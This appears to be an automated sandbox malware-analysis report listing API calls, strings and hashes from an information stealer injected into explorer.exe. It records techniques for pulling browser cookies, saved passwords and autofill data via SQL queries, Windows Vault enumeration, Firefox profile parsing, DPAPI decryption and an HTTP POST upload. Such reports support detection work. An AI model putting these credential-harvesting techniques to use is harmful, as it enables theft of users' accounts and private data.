lstrcat.KERNEL32(00000000,?), ref: 00BF3BA9
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 00BF3BDA
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 00BF3C16

Strings

SELECT host_key,path,is_secure,name,encrypted_value FROM cookies, xrefs: 00BF37C3
FALSE, xrefs: 00BF39BC, 00BF3B3C
%sTRUE%s%s%s%s%s, xrefs: 00BF39EB, 00BF3B73
COOKIES, xrefs: 00BF3BE8, 00BF3BED, 00BF3BF6
v1, xrefs: 00BF3821
0, xrefs: 00BF3828
TRUE, xrefs: 00BF39C9, 00BF3B51

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: lstrlen$File$DeleteMemoryTemplstrcatwsprintf$ChangeCloseCompareCopyCreateCryptDataFindNameNotificationPathUnprotectZero
String ID: %sTRUE%s%s%s%s%s$0$COOKIES$FALSE$SELECT host_key,path,is_secure,name,encrypted_value FROM cookies$TRUE$v1
API String ID: 2397694182-404540950
Opcode ID: 511ac027fa78ac443e2fe07df5500bcc2c8e21785613ae5688813a8e91a80c6d
Instruction ID: f3c27d2051901a8c71ea222aa75782a6932c724c5f32aed9ef0e7dc3cd3e1eba
Opcode Fuzzy Hash: 511ac027fa78ac443e2fe07df5500bcc2c8e21785613ae5688813a8e91a80c6d
Instruction Fuzzy Hash: A6E18770208349ABD711DF25C890B3FBBE9EF86B44F04486CFA8587291DB75C908CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00BF2198 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 242
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(?,00000114), ref: 00BF21AF
GetVersionExW.KERNEL32(?), ref: 00BF21BE
LoadLibraryW.KERNELBASE(vaultcli.dll), ref: 00BF21E8
GetProcAddress.KERNEL32(00000000,VaultOpenVault), ref: 00BF220A
GetProcAddress.KERNEL32(00000000,VaultCloseVault), ref: 00BF2214
GetProcAddress.KERNEL32(00000000,VaultEnumerateItems), ref: 00BF2220
GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 00BF222A
GetProcAddress.KERNEL32(00000000,VaultFree), ref: 00BF2236
RtlCompareMemory.NTDLL(?,00C51110,00000010), ref: 00BF22E8
RtlCompareMemory.NTDLL(?,00C51110,00000010), ref: 00BF236C

Part of subcall function 00BF1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00BF2F0C), ref: 00BF1973
Part of subcall function 00BF1953: lstrlenW.KERNEL32(00C46564,?,?,00BF2F0C), ref: 00BF1978
Part of subcall function 00BF1953: lstrcatW.KERNEL32(00000000,?), ref: 00BF1990
Part of subcall function 00BF1953: lstrcatW.KERNEL32(00000000,00C46564), ref: 00BF1994

StrStrIW.SHLWAPI(?,Internet Explorer), ref: 00BF23FE
FreeLibrary.KERNELBASE(00000000), ref: 00BF2493

Strings

VaultEnumerateItems, xrefs: 00BF2216
VaultOpenVault, xrefs: 00BF2204
VaultFree, xrefs: 00BF222C
VaultGetItem, xrefs: 00BF2222
Internet Explorer, xrefs: 00BF23F8
VaultCloseVault, xrefs: 00BF220C
vaultcli.dll, xrefs: 00BF21E3

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: AddressProc$Memory$CompareLibrarylstrcatlstrlen$FreeLoadVersionZero
String ID: Internet Explorer$VaultCloseVault$VaultEnumerateItems$VaultFree$VaultGetItem$VaultOpenVault$vaultcli.dll
API String ID: 2583887280-2831467701
Opcode ID: c6fc10af30278cf79debf2695c3621d37c9a3f2e989d36a64e4584d56943befc
Instruction ID: 45d6e24f8e1bb527ec3af67408f7c3961c4273ff09c6a8d2b87439286b1ee38c
Opcode Fuzzy Hash: c6fc10af30278cf79debf2695c3621d37c9a3f2e989d36a64e4584d56943befc
Instruction Fuzzy Hash: 30918A71A083099FD714DF65C885A2FBBE5FF89704F00886DFA8597251EBB0D809CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00BF3098 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 248
fileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BF1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00BF2893,00000000,00000000,00000000,?), ref: 00BF1B82
Part of subcall function 00BF1B6A: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00BF1B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 00BF30F9
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 00BF3103
DeleteFileW.KERNELBASE(00000000), ref: 00BF310A
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 00BF3115
RtlCompareMemory.NTDLL(00000000,00000000,00000003), ref: 00BF31A4
RtlZeroMemory.NTDLL(?,00000040), ref: 00BF31D7
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00BF32DF
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 00BF339C

Strings

0, xrefs: 00BF3191
SELECT origin_url,username_value,password_value FROM logins, xrefs: 00BF3136
v1, xrefs: 00BF318A
@, xrefs: 00BF31F1

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: File$DeleteMemoryTemp$ChangeCloseCompareCopyCreateCryptDataFindNameNotificationPathUnprotectZero
String ID: 0$@$SELECT origin_url,username_value,password_value FROM logins$v1
API String ID: 1468962943-4052020286
Opcode ID: 304000f5eab49944d5fffee402699ec7d3a176c0aa746a8bc5d5a20fdd1d67de
Instruction ID: c7f089b2e03ca23f3a24315cbfeedf171607f8164ecc9d0eaa83e5b416a5590f
Opcode Fuzzy Hash: 304000f5eab49944d5fffee402699ec7d3a176c0aa746a8bc5d5a20fdd1d67de
Instruction Fuzzy Hash: 0E918971208349ABD710DF65C884B3FBBE9EF85B44F04096DF68597290DB35DE488B22

Uniqueness

Uniqueness Score: -1.00%

Function 00BF3ED9 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 82
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

PathCombineW.SHLWAPI(00000000,00000000,*.*,?,00000000), ref: 00BF3F0A
FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 00BF3F16
lstrcmpiW.KERNEL32(?,00C462CC), ref: 00BF3F38
lstrcmpiW.KERNEL32(?,00C462D0), ref: 00BF3F4C
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00BF3F69
lstrcmpiW.KERNEL32(?,Local State), ref: 00BF3F7E
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00BF3F9B
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00BF3FB5
FindClose.KERNELBASE(00000000), ref: 00BF3FC4

Strings

*.*, xrefs: 00BF3F01
Local State, xrefs: 00BF3F78

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: CombineFindPathlstrcmpi$FileHeap$AllocateCloseFirstNextProcess
String ID: *.*$Local State
API String ID: 3923353463-3324723383
Opcode ID: 1397d87ac07a4957ddc3d57e65be78b39af63c9405164a88ebcf9662da37ff7a
Instruction ID: 08ce7e07320692a639d54d2c2eabac960889c9ebbdcb5daec7074e87570f6027
Opcode Fuzzy Hash: 1397d87ac07a4957ddc3d57e65be78b39af63c9405164a88ebcf9662da37ff7a
Instruction Fuzzy Hash: 2221B374600349ABD720A7349C48B3FBAFCEF83B51F040969FA12C3195DF75894C8666

Uniqueness

Uniqueness Score: -1.00%

Function 00BF2B15 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 102
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BF1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00BF2F0C), ref: 00BF1973
Part of subcall function 00BF1953: lstrlenW.KERNEL32(00C46564,?,?,00BF2F0C), ref: 00BF1978
Part of subcall function 00BF1953: lstrcatW.KERNEL32(00000000,?), ref: 00BF1990
Part of subcall function 00BF1953: lstrcatW.KERNEL32(00000000,00C46564), ref: 00BF1994

FindFirstFileW.KERNELBASE(00000000,?,00000000,00000000,?,00000000), ref: 00BF2B3D
lstrcmpiW.KERNEL32(?,00C462CC), ref: 00BF2B63
lstrcmpiW.KERNEL32(?,00C462D0), ref: 00BF2B7B

Part of subcall function 00BF19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,00BF2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 00BF19C4

StrStrIW.SHLWAPI(00000000,logins.json), ref: 00BF2BE7
StrStrIW.SHLWAPI(00000000,cookies.sqlite), ref: 00BF2C16
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00BF2C43
FindClose.KERNELBASE(00000000), ref: 00BF2C52

Strings

cookies.sqlite, xrefs: 00BF2C10
logins.json, xrefs: 00BF2BE1
\*.*, xrefs: 00BF2B15

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: Findlstrlen$Filelstrcatlstrcmpi$CloseFirstNext
String ID: \*.*$cookies.sqlite$logins.json
API String ID: 1108783765-3717368146
Opcode ID: 1f9c9fcd1bcbe8e71e8d02bc253407a051e0be4155824afd38815d07e6d59187
Instruction ID: 23e76e1883f43fdefcdda2c2b3aa020674ae232b948ddad656190a1a6fd4834e
Opcode Fuzzy Hash: 1f9c9fcd1bcbe8e71e8d02bc253407a051e0be4155824afd38815d07e6d59187
Instruction Fuzzy Hash: 5F3184703043499B9B14AB749895A3E73DAFB86700B044DACFA46D3286EF79CD0E9652

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1D4A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 109
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BF19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,00BF2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 00BF19C4

FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 00BF1DA9
lstrcmpiW.KERNEL32(?,00C462CC), ref: 00BF1DCF
lstrcmpiW.KERNEL32(?,00C462D0), ref: 00BF1DE7
lstrcmpiW.KERNEL32(?,?), ref: 00BF1E62

Part of subcall function 00BF1CF7: lstrlenW.KERNEL32(00000000,00000000,00000000,00BF2C27), ref: 00BF1D02
Part of subcall function 00BF1CF7: RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 00BF1D0D

FindNextFileW.KERNELBASE(00000000,00000010), ref: 00BF1E94
FindClose.KERNELBASE(00000000), ref: 00BF1EA3

Part of subcall function 00BF1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00BF2F0C), ref: 00BF1973
Part of subcall function 00BF1953: lstrlenW.KERNEL32(00C46564,?,?,00BF2F0C), ref: 00BF1978
Part of subcall function 00BF1953: lstrcatW.KERNEL32(00000000,?), ref: 00BF1990
Part of subcall function 00BF1953: lstrcatW.KERNEL32(00000000,00C46564), ref: 00BF1994

Strings

*.*, xrefs: 00BF1D8B
\*.*, xrefs: 00BF1D79

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: lstrlen$Findlstrcmpi$Filelstrcat$CloseComputeCrc32FirstNext
String ID: *.*$\*.*
API String ID: 232625764-1692270452
Opcode ID: 0b1a305485db08932b0799dfd074169e071b103fd40a634b2b75510119420009
Instruction ID: 2466d06ff4d468fc70cc5d80592fc5e0f3fd3b8e4af55a795d2ef6e7ba495d60
Opcode Fuzzy Hash: 0b1a305485db08932b0799dfd074169e071b103fd40a634b2b75510119420009
Instruction Fuzzy Hash: 77319774704349DBCB20EB788898A7F76E9EFC5350F004D69FA4683255DB75CC0E9692

Uniqueness

Uniqueness Score: -1.00%

Function 00BF3E04 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 75
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BF1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00BF2893,00000000,00000000,00000000,?), ref: 00BF1B82
Part of subcall function 00BF1B6A: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00BF1B8F

Part of subcall function 00BF1C31: CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,00BF3E1E,00000000,?,00BF3FA8), ref: 00BF1C46
Part of subcall function 00BF1C31: GetFileSize.KERNEL32(00000000,00000000,00000000,?,00BF3FA8), ref: 00BF1C56
Part of subcall function 00BF1C31: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,00BF3FA8), ref: 00BF1C76
Part of subcall function 00BF1C31: CloseHandle.KERNEL32(00000000,?,00BF3FA8), ref: 00BF1C91

Part of subcall function 00BF2FB1: StrStrIA.KERNELBASE(00000000,"encrypted_key":",00000000,00000000,00000000,00BF3E30,00000000,00000000,?,00BF3FA8), ref: 00BF2FC1
Part of subcall function 00BF2FB1: lstrlen.KERNEL32("encrypted_key":",?,00BF3FA8), ref: 00BF2FCE
Part of subcall function 00BF2FB1: StrStrIA.SHLWAPI("encrypted_key":",00C4692C,?,00BF3FA8), ref: 00BF2FDD

Part of subcall function 00BF123B: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00BF3E4B,00000000), ref: 00BF124A
Part of subcall function 00BF123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 00BF1268
Part of subcall function 00BF123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 00BF1295

RtlCompareMemory.NTDLL(00000000,IDPAP,00000005), ref: 00BF3E74
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00BF3E9E

Strings

IDPAP, xrefs: 00BF3E6E, 00BF3E72
DPAP, xrefs: 00BF3E5A
DPAP, xrefs: 00BF3E52
, xrefs: 00BF3EA8

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: File$Crypt$BinaryCloseCreateStringlstrlen$ChangeCompareDataFindHandleMemoryNotificationReadSizeUnprotect
String ID: $DPAP$DPAP$IDPAP
API String ID: 3124818977-957854035
Opcode ID: 5c9bd6b3d6579541cbd83b45742e8923b16e4dcacbfd8cd47ce6c072009f38ae
Instruction ID: a19a0f01e0bbcac4e428eab41517ebd66343bba89678d7babc5a5528f5cbe923
Opcode Fuzzy Hash: 5c9bd6b3d6579541cbd83b45742e8923b16e4dcacbfd8cd47ce6c072009f38ae
Instruction Fuzzy Hash: 122162726043499BD711EA688880A7FB2DDEF94B00F4409ADFA45D7241EF74CE4D87A2

Uniqueness

Uniqueness Score: -1.00%

Function 00BF4B92 Relevance: 3.0, APIs: 2, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF1162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 00BF116F

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 00BF4BB6
NtUnmapViewOfSection.NTDLL(000000FF), ref: 00BF4BBF

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: MemoryMoveQuerySectionUnmapViewVirtual
String ID:
API String ID: 1675517319-0
Opcode ID: 4687deced96f428cab0c3f9b3057385770546eb722a92b34bbb7773176b7d834
Instruction ID: 21a75a5831fc59c795b07ef8a26b80f6f9ba70407b8395db4a8dd646559c63ea
Opcode Fuzzy Hash: 4687deced96f428cab0c3f9b3057385770546eb722a92b34bbb7773176b7d834
Instruction Fuzzy Hash: A8E09231400214A7C6147B74BC19B6F3BD8EB92361F108D98B35593097CB3588488651

Uniqueness

Uniqueness Score: -1.00%

Function 00BF3C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 147
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BF1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00BF2893,00000000,00000000,00000000,?), ref: 00BF1B82
Part of subcall function 00BF1B6A: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00BF1B8F

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

GetTempPathW.KERNEL32(00000104,00000000), ref: 00BF3C6A
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 00BF3C76
DeleteFileW.KERNELBASE(00000000), ref: 00BF3C7D
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 00BF3C89
lstrlen.KERNEL32(00000000,?,?,?,?,00000000,00000000,?), ref: 00BF3D2F
lstrlen.KERNEL32(00000000), ref: 00BF3D36
wsprintfA.USER32 ref: 00BF3D55
lstrlen.KERNEL32(00000000), ref: 00BF3D61
lstrcat.KERNEL32(00000000,?), ref: 00BF3D89
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 00BF3DB2
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 00BF3DED

Strings

AUTOFILL, xrefs: 00BF3DBD, 00BF3DC2, 00BF3DCC
SELECT name,value FROM autofill, xrefs: 00BF3CAA
%s = %s, xrefs: 00BF3D4F

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: File$lstrlen$DeleteHeapTemp$AllocateChangeCloseCopyCreateFindNameNotificationPathProcesslstrcatwsprintf
String ID: %s = %s$AUTOFILL$SELECT name,value FROM autofill
API String ID: 2925989150-3488123210
Opcode ID: ee8ccd452b129f994b722cb7423a6018180889c8719b90a4c3aa2d34068bbad6
Instruction ID: fb95611f82e13163d32a1ac78ae3564a12de707c11dbe90391700e315bc54f26
Opcode Fuzzy Hash: ee8ccd452b129f994b722cb7423a6018180889c8719b90a4c3aa2d34068bbad6
Instruction Fuzzy Hash: 9C41B074204249ABD711AB388C81E3F7AEDEF86744F000C6CFA45A3252DA35CD499762

Uniqueness

Uniqueness Score: -1.00%

Function 00BF28F8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 158
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 00BF2AD2

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

lstrlen.KERNEL32(00000000,?,?,?,?,?,?), ref: 00BF29E1
lstrlen.KERNEL32(00000000), ref: 00BF29EC
wsprintfA.USER32 ref: 00BF2A38
lstrlen.KERNEL32(00000000), ref: 00BF2A44
lstrcat.KERNEL32(00000000,00000000), ref: 00BF2A6C
lstrlen.KERNEL32(00000000,?,?), ref: 00BF2A99

Strings

FALSE, xrefs: 00BF2A06
%sTRUE%s%s%s%s%s, xrefs: 00BF2A32
COOKIES, xrefs: 00BF2AA4, 00BF2AAB, 00BF2AB1
TRUE, xrefs: 00BF2A13

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: lstrlen$Heap$AllocateDeleteFileProcesslstrcatwsprintf
String ID: %sTRUE%s%s%s%s%s$COOKIES$FALSE$TRUE
API String ID: 304071051-2605711689
Opcode ID: 3bf5f7fbbde57d2c97c2f9d36df5d130fe6b4d326bf234dbdf22537da7d08ca3
Instruction ID: 6dddfb22e5e1a499e9787ceb99ca7503b6787844577982fed21d1d6962604af8
Opcode Fuzzy Hash: 3bf5f7fbbde57d2c97c2f9d36df5d130fe6b4d326bf234dbdf22537da7d08ca3
Instruction Fuzzy Hash: 2951AF7060434A9BD725EF348851B3EB7D9EF86304F044CADFA859B252DB35DC498752

Uniqueness

Uniqueness Score: -1.00%

Function 00BF2CB5 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BF1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00BF2F0C), ref: 00BF1973
Part of subcall function 00BF1953: lstrlenW.KERNEL32(00C46564,?,?,00BF2F0C), ref: 00BF1978
Part of subcall function 00BF1953: lstrcatW.KERNEL32(00000000,?), ref: 00BF1990
Part of subcall function 00BF1953: lstrcatW.KERNEL32(00000000,00C46564), ref: 00BF1994

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

Part of subcall function 00BF1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00BF2893,00000000,00000000,00000000,?), ref: 00BF1B82
Part of subcall function 00BF1B6A: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00BF1B8F

GetPrivateProfileSectionNamesW.KERNEL32(00000000,0000FDE8,00000000), ref: 00BF2D13
StrStrIW.SHLWAPI(00000000,Profile), ref: 00BF2D45
GetPrivateProfileStringW.KERNEL32(00000000,Path,00C4637C,?,00000FFF,?), ref: 00BF2D68
GetPrivateProfileIntW.KERNEL32(00000000,IsRelative,00000001,?), ref: 00BF2D7B
lstrlenW.KERNEL32(00000000), ref: 00BF2DD8

Strings

profiles.ini, xrefs: 00BF2CCD
Profile, xrefs: 00BF2D3F
IsRelative, xrefs: 00BF2D75
Path, xrefs: 00BF2D62

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: PrivateProfilelstrlen$Heaplstrcat$AllocateChangeCloseCreateFileFindNamesNotificationProcessSectionString
String ID: IsRelative$Path$Profile$profiles.ini
API String ID: 4264105018-4107377610
Opcode ID: 96adb5471a87e6fc5b2e7893d6e010a3415cf8704ba3760fa513ede3760a4714
Instruction ID: 448d77c8ba75ff473f39e3679b6d23844922d69fa5ec9a71b690a09bc84d3804
Opcode Fuzzy Hash: 96adb5471a87e6fc5b2e7893d6e010a3415cf8704ba3760fa513ede3760a4714
Instruction Fuzzy Hash: B2319E3460430A9BDB14AF34885163F77E2EFC6700F1048BDFA45A7296DE758C4A9792

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1333 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

Part of subcall function 00BF106C: lstrlen.KERNEL32(0378AFB6,00000000,00000000,00000000,00BF1366,74DE8A60,0378AFB6,00000000), ref: 00BF1074
Part of subcall function 00BF106C: MultiByteToWideChar.KERNEL32(00000000,00000000,0378AFB6,00000001,00000000,00000000), ref: 00BF1086

Part of subcall function 00BF12A3: RtlZeroMemory.NTDLL(?,00000018), ref: 00BF12B5

RtlZeroMemory.NTDLL(?,0000003C), ref: 00BF13C2
wsprintfW.USER32 ref: 00BF14B5
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 00BF1594

Strings

POST, xrefs: 00BF1465
Content-Type: application/x-www-form-urlencoded, xrefs: 00BF14FB
Accept: */*Referer: %S, xrefs: 00BF14AF

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: Memory$HeapZero$AllocateByteCharMoveMultiProcessWidelstrlenwsprintf
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 3833683434-704803497
Opcode ID: e9abe8e28046b0f7a58dfd59712cb53f9180a9ccbb3fd5324ed2ca5e78e91380
Instruction ID: ca85c8b5c28d84a21736235ec3cf929afaff11f0896b0b2bef8497710d1a82d9
Opcode Fuzzy Hash: e9abe8e28046b0f7a58dfd59712cb53f9180a9ccbb3fd5324ed2ca5e78e91380
Instruction Fuzzy Hash: 527155B4608349AFD7149F68DC84A2FBBE9FB8A344F004D6DFA55D3251DB70DA088B52

Uniqueness

Uniqueness Score: -1.00%

Function 00BFB1E5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 174
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,00000000,00000004,00000000,00000006,00000000,?,?,00000000), ref: 00BFB31D
MapViewOfFile.KERNELBASE(?,?,00000000,?,?), ref: 00BFB34F

Strings

winShmMap1, xrefs: 00BFB278
winShmMap2, xrefs: 00BFB2CF
winShmMap3, xrefs: 00BFB399

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: File$CreateMappingView
String ID: winShmMap1$winShmMap2$winShmMap3
API String ID: 3452162329-3826999013
Opcode ID: 9deeca1c8d71f0835761e73987aad71a178e349b1a3b4eb1f846c88cb43dcd42
Instruction ID: ebd336072c8ded96f6c7955b128076229d0ce6be1201ed9ef9a7542d0cee697e
Opcode Fuzzy Hash: 9deeca1c8d71f0835761e73987aad71a178e349b1a3b4eb1f846c88cb43dcd42
Instruction Fuzzy Hash: AD51BD752047099FDB25CF18C885B7AB7E5FB88304F15886EEA868B291DB70E809CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00BFA40E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.NTDLL(?,?,?), ref: 00BFA455
memcpy.NTDLL(?,?,?), ref: 00BFA479
ReadFile.KERNELBASE(?,?,?,?,?), ref: 00BFA4DB
memset.NTDLL ref: 00BFA546

Strings

winRead, xrefs: 00BFA515

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: memcpy$FileReadmemset
String ID: winRead
API String ID: 2051157613-2759563040
Opcode ID: 887cb76b5d018bda9e51711719770ea05ce7c9e9d3ae9507f242bc0929930dd2
Instruction ID: 15552de9166cadd10e63e1c00b5d82551a645d1c45e088b30e4731d6d313e89f
Opcode Fuzzy Hash: 887cb76b5d018bda9e51711719770ea05ce7c9e9d3ae9507f242bc0929930dd2
Instruction Fuzzy Hash: D0318CB2205308AFC744DE18CC859AFB7E6EFC4310F845968FA8997311D670ED088B93

Uniqueness

Uniqueness Score: -1.00%

Function 00BF2E30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.KERNELBASE(?,?), ref: 00BF2E4B
RegOpenKeyExW.KERNELBASE(?,?,00000000,00020119,?), ref: 00BF2EE4
RegEnumKeyExW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00BF2F54
RegCloseKey.KERNELBASE(?), ref: 00BF2F62

